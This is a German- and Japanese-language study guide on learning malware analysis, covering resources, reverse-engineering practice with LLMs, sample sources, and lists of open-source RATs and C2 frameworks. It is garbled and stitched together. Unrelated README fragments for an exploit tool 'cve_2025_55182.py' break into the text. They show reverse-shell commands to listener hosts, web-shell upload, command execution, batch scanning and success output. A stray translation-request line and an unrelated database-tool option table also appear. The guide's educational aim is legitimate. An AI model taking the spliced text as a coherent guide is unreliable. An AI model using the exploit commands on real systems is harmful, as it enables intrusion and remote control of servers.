Lernmethoden, um Malware-Analyst zu werden (work-in-progress)

Dies ist die persönliche Meinung von @PINKSAWTOOTH und ist möglicherweise nicht unbedingt die beste Methode für dich. Ich hoffe, du kannst es als ein Beispiel für eine Lernmethode betrachten.

Bevor du dies liest, hat der von mir respektierte Malware-Analyst @hasherezade in einem Blog zusammengefasst, wie man am besten mit dem Studium der Malware-Analyse beginnen sollte. Es gibt wahrscheinlich Überschneidungen, aber ich empfehle, einen Blick darauf zu werfen. Da die folgenden Blogs hauptsächlich englischsprachige Quellen sind, möchte ich möglichst japanischsprachige Quellen vorstellen.

https://hshrzd.wordpress.com/how-to-start/

[!NOTE]

Nachtrag 2026: Malware-Analyse-Lernen im LLM-Zeitalter

Als ich begann, diese Seite zu schreiben, war die Zeit noch nicht so, dass LLMs und AI Agents so alltäglich genutzt werden konnten wie heute. Stand 2026 empfehle ich, beim Studium der Malware-Analyse und des Reverse Engineering zusätzlich zu Büchern und Web-Ressourcen aktiv LLMs zu nutzen. Besonders bei der Erstellung von Lernprogrammen, der Erklärung von Code und Assembler, der Analyse, der Erstellung von Analysescripts und der Organisation von Analyseergebnissen sind sie äußerst nützlich.

Andererseits gibt es immer mehr Situationen, in denen LLMs den Menschen bei vielen Analysetechniken übertreffen. Aber das bedeutet nicht, dass Grundkenntnisse überflüssig geworden sind. Um die Ausgaben von LLMs zu verstehen und deren Grundlagen und Richtigkeit selbst zu überprüfen, ist es wichtig, Fachkenntnisse zu besitzen (auch wenn der Tag, an dem diese Arbeit sinnlos wird, vielleicht nahe ist ...). In diesem Artikel wird davon ausgegangen, dass LLMs nicht als „Gerät, das Antworten liefert", sondern als „Lehrer, der gemeinsam lernt, und Assistent bei der Analyse" genutzt werden.

Vorausgesetztes Wissen für die Malware-Analyse

Zunächst möchte ich kurz das vorausgesetzte Wissen für die Malware-Analyse erläutern. Bevor man sich mit Malware-Analyse beschäftigt, sind zumindest Kenntnisse in der Informatik (Computer Science) erforderlich.

Computerarchitektur
Computernetzwerke
Betriebssysteme
Programmiersprachen
Datenstrukturen und Algorithmen
etc...

Für diese Themen sollte es ausreichen, wenn man die Inhalte versteht, die an Universitäten oder Fachschulen gelehrt werden. (Durch Einsicht in die Online-Syllabi irgendeiner Universität kann man konkretere Inhalte erfahren.) In diesem Artikel liegt der Fokus nicht darauf, wie man Programmiersprachen oder Informatik lernt, aber die folgenden Ressourcen sind empfehlenswert.

Für die Malware-Analyse erforderliches Wissen

Das für die Malware-Analyse erforderliche Wissen lässt sich grob in die folgenden fünf Kategorien unterteilen.

Wissen über Malware-Analysetechniken, das Verhalten von Malware und die Implementierung bzw. Realisierung ausgenutzter Techniken
Wissen über die Entwicklung von Programmen, die Gegenstand des Reverse Engineering sind
Wissen über Reverse Engineering
Wissen über Analysetools
Wissen über LLMs und Analyseautomatisierung

Wissen über Malware-Analysetechniken, das Verhalten von Malware und die Implementierung bzw. Realisierung ausgenutzter Techniken

Zunächst muss man lernen, was Malware ist und welche Arbeiten die Malware-Analyse umfasst. Ich möchte empfehlenswerte Ressourcen und Bücher vorstellen, um die Malware-Analyse im Allgemeinen zu erlernen.

Malware-Analyse-Vorlesung beim Security Camp National Convention 2015
- Eine Malware-Analyse-Vorlesung von Herrn Nakatsuru (@you0708) beim Security Camp National Convention 2015.
Erste Malware-Analyse
- Ein Buch, das auf Japanisch die Grundlagen bis hin zu fortgeschrittenen Inhalten der Malware-Analyse im Allgemeinen behandelt.
Reverse-Engineering-Tool Ghidra Praxisleitfaden
- Ein Buch, an dem ich als Autor mitgewirkt habe und mit dem man durch statische Analyse mit Ghidra die Implementierung von Malware lernen kann.
Einführung in das Reverse Engineering @IT-Serie
- Artikel von Herrn Kawakoya, Herrn Aoki und Herrn Iwamura von der Nippon Telegraph and Telephone Corporation, die die Analyse von Shellcode erklären.
Analyzing Malware
- Da es 2010 veröffentlicht wurde, ist der Inhalt veraltet, aber es ist ein seltenes Buch, das sich mit Malware-Analyse unter der Einschränkung befasst, keinen Assembler zu lesen.
MWS Cup
- Ein Wettbewerb für Malware-Analysetechniken, der vom MWS-Organisationskomitee unter dem Computer Security (CSEC) Research Committee der Information Processing Society of Japan veranstaltet wird. Vergangene Aufgaben und Erklärungen sind öffentlich zugänglich und hilfreich.
CS6038/CS5138 Malware Analysis, UC
- Vorlesungsmaterialien zur Malware-Analyse der University of Cincinnati. Die Inhalte werden jedes Jahr aktualisiert und es werden auch Übungsproben verteilt, daher sehr empfehlenswert. Kostenlos öffentlich zugänglich.
Practical Malware Analysis
- Ein ausländisches Buch, das die Malware-Analyse im Allgemeinen detailliert erklärt. Da Beispiele und Lösungen öffentlich zugänglich sind, kann man durch Übungen lernen.
malware_training_vol1 von hasherezade
- Malware-Analyse-Trainingsmaterial von @hasherezade. Es ist WIP, aber es werden auch Übungsproben verteilt, daher empfehlenswert.

Auch Online-Trainings zur Malware-Analyse sind empfehlenswert.

The Beginner Malware Analysis Course
- Einführungstraining zur Malware-Analyse von @0verfl0w
From Zero to Hero
Praktisches Malware-Analyse-Training von @0verfl0w und @vk_intel
Zero2Automated
Fortgeschrittenes Malware-Analyse-Training von @0verfl0w und @vk_intel
OpenSecurityTraining2
- Kostenlose Vorlesungsmaterialien zum Erlernen von x86/x64-Assembler, Reverse Engineering, Windows-Interna usw. Es sind auch Übungen vorhanden.

Ich möchte Seiten vorstellen, die das Verhalten von Malware und ausgenutzte Techniken zusammenfassen.

Malware Behavior Catalog (MBC)
- Ein Katalog, der speziell auf die Malware-Analyse ausgerichtet ist und die Ziele (Objective), das Verhalten (Behavior) und die Code-Merkmale von Malware systematisiert. Wichtige Verhaltensweisen für die Malware-Analyse werden in Verbindung mit ATT&CK organisiert.
capa-rules
- Eine Sammlung von Regeln, die capa zur Identifizierung von Funktionen verwendet. Durch das Lesen der Regeln kann man lernen, wie sich typische Funktionen und Techniken von Malware als Merkmale im Binärformat manifestieren.
MITRE ATT&CK
- Angriffsmethoden, Techniken und Vorgehensweisen sind als Framework definiert und eignen sich zum Lernen nicht nur der Malware-Analyse, sondern von Cyberangriffen im Allgemeinen.
ired.team
- Vorstellung von Techniken, die Pentester, Red Teams und Angreifer verwenden, sowie deren Implementierung
malpedia
- Analysereporte sind nach Malware-Familien zusammengefasst.
Ten process injection techniques: A technical survey of common and trending process injection techniques
- Vorstellung von Code-Injection-Techniken
Code Injection demos von hasherezade
- Implementierung von Code-Injection-Techniken
Evasion techniques von cpr
- Zusammenfassung von Analyseumgehungstechniken von Malware
Al-Khaser
- OSS-Tool und Quellcode, das Anti-Analyse-Funktionen von Malware implementiert

Täglich veröffentlichte Threat-Informationen sowie Blogs und Berichte zur Malware-Analyse sind ebenfalls wichtige Informationsquellen. Es ist praktisch, Updates über einen RSS-Reader usw. zu abonnieren. Es gibt auch Seiten, die diese zusammenfassen, die man nutzen kann.

Von diesen möchte ich einige vorstellen, die detaillierte Malware-Analysen auf Japanisch behandeln.

Darüber hinaus kann man durch das Lesen von YARA-Regeln die Merkmale von Malware lernen.

Wissen über die Entwicklung von Programmen, die Gegenstand des Reverse Engineering sind

Reverse Engineering ist nur ein Teil der Malware-Analyse, aber um Malware-Analyst zu werden, ist es ein unvermeidlicher Weg. Allein durch dynamische Analyse mit einer Sandbox oder dynamische Analyse mit Tools (außer manuellem Debugging) ist es schwierig, das gesamte Funktionsspektrum von Malware oder die verwendeten Algorithmen zu identifizieren.

Um Reverse Engineering durchzuführen, muss man den ursprünglichen Quellcode verstehen. (Es wird die in der Malware-Analyse übliche Windows-Umgebung angenommen.) Ohne Erfahrung in der Programmierung mit Windows-APIs wäre die Malware-Analyse ein Umweg.

Microsoft veröffentlicht offizielle Dokumentation und Beispiele für Windows-APIs. ※Beachte, dass bei japanischen Übersetzungen einige Anzeigen fehlerhaft sein können.

Zum Erlernen der Funktionsweise des Windows-Betriebssystems sind die folgenden Bücher empfehlenswert.

Inside Windows, 7. Auflage, Band 1
- Man kann die Grundlagen der Windows-Interna wie Systemarchitektur, Prozesse, Threads, Speicherverwaltung und I/O erlernen.
Inside Windows, 7. Auflage, Band 2
- Behandelt Systemmechanismen, Virtualisierung, Diagnose/Tracing, Dateisysteme, Startvorgänge usw.
Windows Security Internals
- Man kann Windows-Authentifizierung, Autorisierung, Auditing, Sicherheitsmechanismen des Kernels usw. mit PowerShell-Experimenten erlernen.

Auch Sprachen und Runtimes außer C/C++ kennenlernen

C/C++ ist auch heute noch sehr wichtig, um das Reverse Engineering von Windows-Malware zu erlernen, und wird als erste zu lernende Sprache empfohlen. Andererseits sind nicht nur C/C++ tatsächliche Analyseziele. Stand 2026 ist es hilfreich, zumindest über die folgenden Sprachen Bescheid zu wissen, was die Merkmale von Binärdateien und Runtimes betrifft.

C / C++: Nativer Code, Windows-API, CRT, Compiler-Optimierungen
.NET: CLR, CIL/MSIL, Metadaten, Verschleierung
Go: Go-Runtime, Goroutinen, String- und Typinformationen, Go-spezifische Binärstruktur
Rust: Panic/Unwind-Behandlung, Namensmangling, Standardbibliothek, Codegenerierung durch Generics und Optimierungen
Python: Mit PyInstaller usw. gepackte ausführbare Dateien, Python-Bytecode

Man muss nicht von Anfang an alle Sprachen tiefgehend lernen. Man sollte sich bewusst sein, dass sich das erforderliche Wissen ändert, wenn sich die Entwicklungs-sprache oder Runtime ändert.

Wissen über Reverse Engineering

Wenn man die Programmiertechniken in der Sprache und Umgebung des Analyseziels beherrscht, kann man mit dem Studium des Reverse Engineering beginnen. Bei der Analyse von Windows-PE-Dateien, die in der Malware-Analyse üblich sind, sollte man zunächst versuchen, ein Einsteigerprogramm in C oder C++ zu reverse-engineeren. Als nächsten Schritt sollte man eine selbst kompilierte PE-Datei (für die der Quellcode vorliegt) analysieren, die Win-APIs verwendet. Selbst bei demselben Quellcode wird die Reverse-Engineering-Fähigkeit erheblich verbessert, wenn man untersucht, welche Veränderungen in der ausführbaren Datei auftreten, wenn man das gewählte Projekt oder die Kompilierungs- und Linkoptionen ändert.

Empfohlene Lernmethode für 2026: LLMs Übungsprogramme erstellen lassen

Früher wurde empfohlen, Microsoft-Beispiele oder Code auf GitHub zu suchen und diesen beim Lernen umzuschreiben. Diese Methode ist auch heute noch gültig, aber Stand 2026 ist es ebenfalls sehr effektiv, LLMs oder Coding Agents kleine Programme erstellen zu lassen, die auf das eigene Lernziel zugeschnitten sind.

Zum Beispiel lässt man zunächst ein kleines Programm mit etwa 10 bis 50 Zeilen generieren.```text CreateFileWとWriteFileを使ってテキストファイルを作成する、できるだけ小さなWindows Cプログラムを作ってください。リバースエンジニアリングの教材に使いたいので、処理を複雑にせず、各Windows APIを使う理由も説明してください。

生成されたコードを、Microsoft Learnのドキュメントと照らし合わせながら内容を確認し、自分でコンパイルします。
その後、GhidraやIDAなどで自分がコンパイルしたバイナリを解析し、元のソースコードと逆アセンブル・デコンパイル結果を比較します。

以下のループで勉強します。```text
LLMに小さなコードを作らせる
        ↓
ソースコードを読む・APIを調べる
        ↓
自分でビルドする
        ↓
Ghidraなどで解析する
        ↓
元のソースコードと比較する
        ↓
分からない部分だけLLMに質問する
        ↓
別の条件で再ビルドして比較する

例えば、同じ処理のソースコードについて以下を比較してみるとよいでしょう。

Debug / Release
最適化なし / 最適化あり（-O0 / -O2、MSVCでは /Od / /O2など）
x86 / x64
シンボルあり / シンボルなし
MSVC / Clang / GCCなど異なるコンパイラ
C / C++ / Rust / Goなど異なる言語

元のソースコードを知っている状態でバイナリを解析することは、リバースエンジニアリングを学ぶ上で非常に良いトレーニングになります。

さらにリバースエンジニアリング技術を磨くにはCTFのRev問やCrackmeを解くと良いでしょう。特にPEファイルの問題やマルウェア解析者を対象としたものが、おすすめです。

The Flare On Challenge
- Mandiant（Google）のFLAREチームによるマルウェア解析技術にフォーカスしたCTF。
Beginner Malware Reversing Challenges by MalwareTech
- MalwareTech氏によるマルウェア解析初心者向け演習問題
reversing.kr
- PE形式が多いCrackMe配布サイト
crackmes.one
- CrackMe投稿サイト

またマルウェアのリバースエンジニアリングでは、暗号アルゴリズムの処理をリバースエンジニアリングすることが多いので、基本的な暗号技術について学ぶことを推奨します。アルゴリズムを理解したらGitHubなどで公開されているオープンソースの暗号アルゴリズム実装のソースコードを読み、実際にリバースエンジニアリングしてみましょう。

解析ツールに関する知識

マルウェア解析をすすめるうえで、よりよいツールを使うことやツールを使いこなすことで容易に解析できることがあります。また、様々な知識を持っていても実際にはツールを通して解析するため、ツールの利用方法も理解しておく必要があります。

解析ツールのインストールや更新などの管理には、Windows環境ではMandiantが公開しているFLARE-VMが便利です。マルウェア解析やリバースエンジニアリングに必要なツールをまとめて導入することができます。

Linux環境では、REMnuxが利用できます。こちらもマルウェア解析に必要なツールがまとめられており、収録ツールの一覧から確認できます。

FLARE-VMとREMnuxはどちらもマルウェア解析環境を簡単に構築できるため、初めて解析環境を作る場合にもおすすめです。それぞれに含まれているツールを確認し、実際に使ってみることで、どのような解析ツールが存在し、どのような場面で利用するのかを学ぶことができます。

また、以下のリンクで紹介されているツールについても利用してみるとよいでしょう。

LLM・Coding Agentを利用した学習と解析

LLMを教師として利用する

LLMの便利な使い方の一つは、分からないことをその場で質問できる教師として利用することです。LLMが登場する以前は、自分が理解できていないことを自分で調べ、その内容を理解する必要がありました。特に初学者の場合、そもそも何を調べればよいのか分からないことも多く、学習するうえで一つのハードルになっていたと思います。現在では、高いレベルの知識を持つLLMが、自分の理解度に合わせて何度でも丁寧に説明してくれます。分からなければ聞き直せばよいですし、「もっと簡単に説明して」、「具体例を出して」、「この理解で合っているか確認して」といった使い方もできます。意欲さえあれば、分からないことをいくらでも質問しながら学習できる、いい時代になったと思います。

例えば、逆アセンブル結果やデコンパイル結果について、以下のような質問ができます。```text この関数の役割と、そう判断できる理由を教えてください。

## Verwendung

```bash
# Grundlegende Verwendung
python3 cve_2025_55182.py -u https://ziel.example.com

# Mit Authentifizierung
python3 cve_2025_55182.py -u https://ziel.example.com -u admin -p passwort

# Reverse-Shell-Modus
python3 cve_2025_55182.py -u https://ziel.example.com --shell --lhost 192.168.1.100 --lport 4444

# Benutzerdefinierter Befehl
python3 cve_2025_55182.py -u https://ziel.example.com -c "id; whoami"

# Proxy verwenden
python3 cve_2025_55182.py -u https://ziel.example.com --proxy http://127.0.0.1:8080

# Ausgabe in Datei speichern
python3 cve_2025_55182.py -u https://ziel.example.com -o ergebnis.txt

Befehlszeilenoptionen

Funktionsweise

Zielerkennung: Identifiziert die Zielanwendung und Version
Schwachstellenprüfung: Sendet speziell gestaltete Anfragen zur Erkennung der Schwachstelle
Ausnutzung: Nutzt die Deserialisierungsschwachstelle zur Codeausführung aus
Post-Exploitation: Führt den angegebenen Befehl aus oder stellt eine Reverse-Shell her

Beispielausgabe

[*] Ziel: https://ziel.example.com
[*] Zielversion erkannt: 2.3.1
[+] Schwachstelle bestätigt!
[*] Ausnutzung läuft...
[+] Befehl erfolgreich ausgeführt!
[+] Ausgabe:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Einschränkungen

Erfordert Netzwerkzugriff auf das Zielsystem
Einige Konfigurationen können die Ausnutzung verhindern
WAF/IDS können die Anfragen erkennen und blockieren

Fehlerbehebung

Verbindung verweigert

Überprüfen Sie, ob das Ziel erreichbar ist
Prüfen Sie Firewall-Einstellungen

Authentifizierung fehlgeschlagen

Überprüfen Sie die Anmeldedaten
Stellen Sie sicher, dass das Konto nicht gesperrt ist

Schwachstelle nicht erkannt

Überprüfen Sie die Zielversion
Versuchen Sie andere Ausnutzungsvektoren

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal.```text このデコンパイル結果から変数の型を推定したいです。型を判断するために、どの命令、API、参照先を確認すべきですか？

Please provide the Markdown content to translate.```text
このWindows API呼び出しの前後で使われている構造体について説明してください。
各フィールドを確認するためにGhidra上でどこを見るべきかも教えてください。

Verwendung

# Grundlegende Verwendung
python3 cve_2025_55182.py -u https://ziel.example.com

# Mit Authentifizierung
python3 cve_2025_55182.py -u https://ziel.example.com -u admin -p passwort

# Reverse Shell
python3 cve_2025_55182.py -u https://ziel.example.com --revshell 10.0.0.1 4444

# Datei-Upload
python3 cve_2025_55182.py -u https://ziel.example.com --upload /tmp/shell.jsp

# Batch-Scan
python3 cve_2025_55182.py -f ziele.txt -t 20

Funktionsweise

Erkennung: Identifiziert verwundbare Instanzen durch Fingerprinting der Zielanwendung
Ausnutzung: Sendet eine speziell gestaltete Anfrage, um die Deserialisierungsschwachstelle auszulösen
Ausführung: Führt den angegebenen Befehl auf dem Zielserver aus
Exfiltration: Ruft die Befehlsausgabe über einen Out-of-Band-Kanal ab

Mitigation

Aktualisieren Sie auf die neueste Version
Implementieren Sie eine Eingabevalidierung für serialisierte Daten
Verwenden Sie eine Whitelist für erlaubte Klassen während der Deserialisierung
Überwachen Sie verdächtige Deserialisierungsaktivitäten in Protokollen

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal.```text このアセンブリを1命令ずつ説明するのではなく、まずbasic blockごとの役割を整理して、私が自分で処理を推定できるようにヒントをください。

| `-s` | `--server` | 接続先サーバーを指定する |
| `-p` | `--port` | 接続先ポートを指定する |
| `-u` | `--user` | ユーザー名を指定する |
| `-P` | `--password` | パスワードを指定する |
| `-d` | `--database` | データベース名を指定する |
| `-t` | `--timeout` | タイムアウト時間を指定する |
| `-v` | `--verbose` | 詳細なログを出力する |
| `-h` | `--help` | ヘルプを表示する |
| `-V` | `--version` | バージョンを表示する |

### 使用例

```bash
# 基本的な使い方
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb

# タイムアウトを指定する場合
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb -t 10

# 詳細なログを出力する場合
python3 main.py -s 192.168.1.1 -p 3306 -u root -P password -d testdb -v

注意事項

本ツールは教育およびセキュリティ診断を目的としています。
許可なく第三者に対して使用しないでください。
使用する際は、必ず対象システムの所有者から事前に許可を得てください。

ライセンス

このプロジェクトはMITライセンスの下で公開されています。詳細はLICENSEファイルを参照してください。

免責事項

本ツールの使用によって生じたいかなる損害についても、作者は一切の責任を負いません。自己責任で使用してください。```text 私はこの関数を「設定ファイルの読み込み処理」だと推測しました。この仮説を検証するために確認すべきポイントを挙げてください。

最初から答えを聞くのではなく、ヒント、確認ポイント、検証方法を聞く使い方がおすすめです。

### Agentic Reverse Engineering

2026年現在は、ChatGPTのような対話型LLMだけでなく、ファイルの読み書き、プログラムのビルド、コマンドの実行などを行えるCoding Agentも利用できるようになっています。
さらに、MCP（Model Context Protocol）などを利用することで、AI Agentから解析ツールを直接操作する方法も広まりつつあります。
例えばREMnuxには、AI AgentからREMnux上のマルウェア解析ツールを利用するためのMCP Serverが用意されています。
- [Using AI with REMnux](https://docs.remnux.org/tips/using-ai)
- [REMnux MCP Server](https://github.com/REMnux/remnux-mcp-server)

Ghidraについても、AI Agentから操作するためのMCP実装がいくつか登場しています。私もGhidraをHeadlessで利用し、MCP経由でAI Agentから解析を行うためのMecha Ghidraを開発しています。
- [Mecha Ghidra](https://github.com/ghidra-user-jp/mecha_ghidra)

IDAやその他のリバースエンジニアリングツールについても、MCPやAgentと連携するための実装が複数登場しており、これまで人間が手作業で行っていた解析作業をAgentに任せることができるようになっています。
一方で、初学者の段階からすべての解析をAgentに任せてしまうのはおすすめしません。「なぜその解析を行ったのか」「ツールが内部で何をしているのか」「出力された結果が正しいのか」といったことを自分で判断する力が身につきにくくなるためです。

まずは自分で解析し、分からない部分をLLMに質問するところから始めるとよいでしょう。慣れてきたら、解析支援スクリプトの作成、MCPによるツール連携、Agentを使った解析の自動化へと徐々に進んでいくことをおすすめします。

### LLMへ情報を入力するときの注意

業務で扱っているマルウェア、顧客から提供されたファイル、未公開のIoC、インシデント情報、社内情報などを外部のLLMサービスへ入力する場合には注意が必要です。
利用しているサービスの契約内容、データの保持期間、学習への利用有無、所属組織のルールなどを確認したうえで利用しましょう。

必要に応じて、以下のような対策を検討してください。
- 機微情報をマスクする
- 組織で許可されたLLMサービスを利用する
- APIやEnterprise向けサービスのデータ取り扱いを確認する
- 必要に応じてローカルLLMを利用する

また、マルウェア本体や解析対象のファイル、解析結果の中には、AI Agentを意図しない動作へ誘導する文字列が含まれている可能性もあります。
特に、AI Agentがファイル操作やコマンド実行、解析ツールの操作まで行える場合は、通常のLLMよりも強い権限を持つことになります。そのため、マルウェア解析でAI Agentを利用する場合は、VMなどの隔離環境上で実行し、安全性を確保することをおすすめします。

AIはかなり賢くなりましたが、それでも意図しないコマンドを実行することがあります。
これまでのマルウェア解析と同様に解析環境を隔離するという基本を守って利用しましょう。

# 実際のマルウェアを使わない学習

2026年現在、マルウェア解析を勉強するために、最初から実際のマルウェアを入手する必要はありません。
むしろ初学者には、以下の順番をおすすめします。

1. LLMや自分で作成した10〜50行程度の小さなプログラム
2. 自分でコンパイルしたWindows APIのサンプル
3. CTF/Crackme/マルウェア解析トレーニング用サンプル
4. マルウェアやC2フレームワークなど、ソースコードが公開されているOSS実装
5. 必要性があり、安全な解析環境を準備できる場合のみ実際のマルウェア

最初のうちは、元のソースコードが分かっているプログラムを教材にするのがおすすめです。
自分で解析した結果と実際のソースコードを比較できるため、「どこまで正しく解析できたか」「どこを読み違えたか」を自分で確認できます。
いきなり実際のマルウェアを解析するよりも、まずは答え合わせのできる教材を使って、逆アセンブルやデコンパイル結果の読み方に慣れる方が効率よく学習できると思います。

# マルウェアの入手

## 前置き

ここではマルウェアの入手方法について触れますが、紹介するサービスを利用する際は利用規約を必ず読んで利用してください。
また、以下の内容は、マルウェアの入手を勧めるものではありません。

不正指令電磁的記録に関する罪では、マルウェアの作成、提供、取得、保管などについて、その目的や正当な理由の有無などが要件になります。
私は法律の専門家ではないため、どういった理由であれば法律上の`正当な理由`にあたるかはわかりません。
個人の趣味でマルウェア解析をおこなうことは`正当な理由`として認められない可能性もあります。
捜査されると困る、裁判になったら困る、正当な理由として提示できる活動実績がない、弁護費用がないなど、平穏な人生を絶対に送りたいという人は、個人の趣味でやらないほうがよいかと思います。

とはいえ過度に怯えすぎて萎縮する必要はないとは思います。
最低限、警視庁が公開している不正指令電磁的記録に関する罪に関するページには目を通して、内容を確認しておきましょう。

- https://www.keishicho.metro.tokyo.jp/kurashi/cyber/law/virus.html

マルウェアを扱う上で気にしなければいけないことは、法律面だけではありません。
マルウェアを実行(故意かどうかは問わない)すると、たいていの場合は攻撃者の用意したサーバにアクセスします。
攻撃者のサーバには自分の利用しているIPアドレスのログが残りますし、接続時に利用しているシステムの情報を送信することもあります。
マルウェアによっては、攻撃者によるコマンドの実行などがおこなわれることも考えられますし、内部ネットワークのスキャンや(一番避けるべき)外部への感染活動などがおこなわれるかもしれません。
攻撃者のサーバに記録された情報は攻撃者自身だけでなく、第三者へ提供されることもあります。また、捜査機関はサーバを差し押さえてログを解析したうえで、ISPに情報開示請求をおこなうことができます。

以下のどれか一つにでも当てはまる場合は、実際のマルウェアを利用した学習は控えましょう。

- マルウェアを取り扱う上で、不安がある。
- マルウェア解析のための専用PCや独立したネットワークなど隔離した環境を用意できない。
- 未成年もしくは学生であるが、マルウェアを扱った解析や研究をするうえで責任者がいない(社会人の場合は、全て自己責任として責任を取れない)。

実際のマルウェアを個人的に入手しなくても、学習する方法は前述しております。

最後にオタクがみんな大好きな以下の名言たちで前置きを終えます。
- `With great power comes great responsibility`
- `The abyss gazes also into you.`

## マルウェア共有サービス/IoC共有サービス

マルウェアのサンプルやIoCを共有するためのサービスがいくつかあります。もっとも登録が多く有名なサービスはVirusTotalですが、有償アカウントのみダウンロードが可能であるため、ここでは無償で利用可能なサービスを紹介します。

この2つのサービスがサンプルの入手先としては有力です。
- [MalwareBazaar](https://bazaar.abuse.ch/)
- [Vx Underground](https://www.vx-underground.org/)

参考情報として以下のサービスも記載しておきます。
- [URLhaus](https://urlhaus.abuse.ch/)
- [ThreatFox](https://threatfox.abuse.ch/)
- [MalShare](https://www.malshare.com/)
- [VirusShare](https://virusshare.com/)
- [VirusBay](https://beta.virusbay.io/)
- [Vx Vaul](http://vxvault.net//ViriList.php)
- [theZoo](https://thezoo.morirt.com/)
- [malpedia](https://malpedia.caad.fkie.fraunhofer.de/)

## オンラインサンドボックス

無料で使用できるオンラインサンドボックスのサービスは本来マルウェアの挙動を解析するサービスですが、他者の投稿したマルウェアをダウンロードすることができます。

- [Hybrid Analysis](https://www.hybrid-analysis.com/)
- [Any Run](https://app.any.run/)
- [Triage](https://tria.ge/)
- [Joe Sandbox](https://www.joesandbox.com/)
- [cape](https://capesandbox.com/)

## OSS RAT

以下はRAT（Remote Access Trojan）の実装を理解するのに役に立つリポジトリです。
ソースコードと実際のバイナリを比較することで、通信処理、コマンド実行、ファイル操作などの実装を学ぶことができます。

- [Lilith RAT](https://github.com/werkamsus/Lilith)
- [Quasar RAT](https://github.com/quasar/Quasar)
- [NGLite](https://github.com/Maka8ka/NGLite)
- [AsyncRAT](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp)
- [trochilus RAT](https://github.com/5loyd/trochilus)
- [gh0st RAT](https://github.com/sin5678/gh0st)
- [Poison-Ivy-Reload](https://github.com/killeven/Poison-Ivy-Reload)
- [GitHub Topics rat](https://github.com/topics/rat)

## C2フレームワーク

マルウェアのC2通信やAgentの実装を理解するためには、オープンソースで公開されているC2フレームワークのソースコードを読むことも参考になります。
C2フレームワークには、AgentとC2 Server間の通信、コマンドの受信と実行、ファイル操作、プロセス操作、通信データの暗号化など、マルウェアでもよく見られる機能が実装されています。
それぞれ実装言語やAgentの構造、通信方式が異なるため、ソースコードと生成されたAgentを比較しながらリバースエンジニアリングしてみるのもよいでしょう。

- [Sliver](https://github.com/BishopFox/sliver)
- [Mythic](https://github.com/its-a-feature/Mythic)
- [Mythic Agents](https://github.com/MythicAgents)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2)
- [Empire](https://github.com/BC-SECURITY/Empire)
- [PoshC2](https://github.com/nettitude/PoshC2)
- [Merlin](https://github.com/Ne0nd0g/merlin)
- [MITRE CALDERA](https://github.com/mitre/caldera)
- [Havoc](https://github.com/HavocFramework/Havoc)
- [The C2 Matrix](https://www.sans.org/tools/the-c2-matrix)
  - 様々なC2フレームワークの機能や特徴を比較するための一覧

`-u, --url`	Ziel-URL (erforderlich)	-
`-U, --username`	Benutzername für Authentifizierung	-
`-p, --password`	Passwort für Authentifizierung	-
`-c, --command`	Auszuführender Befehl	`id`
`--shell`	Reverse-Shell-Modus aktivieren	`false`
`--lhost`	Listener-Host für Reverse-Shell	-
`--lport`	Listener-Port für Reverse-Shell	`4444`
`--proxy`	HTTP(S)-Proxy-URL	-
`-o, --output`	Ausgabedatei	-
`-v, --verbose`	Ausführliche Ausgabe aktivieren	`false`
`--timeout`	Anfrage-Timeout in Sekunden	`30`
`--no-verify`	SSL-Zertifikatsüberprüfung deaktivieren	`false`

Beliebteste

how_to_become_a_malware_analyst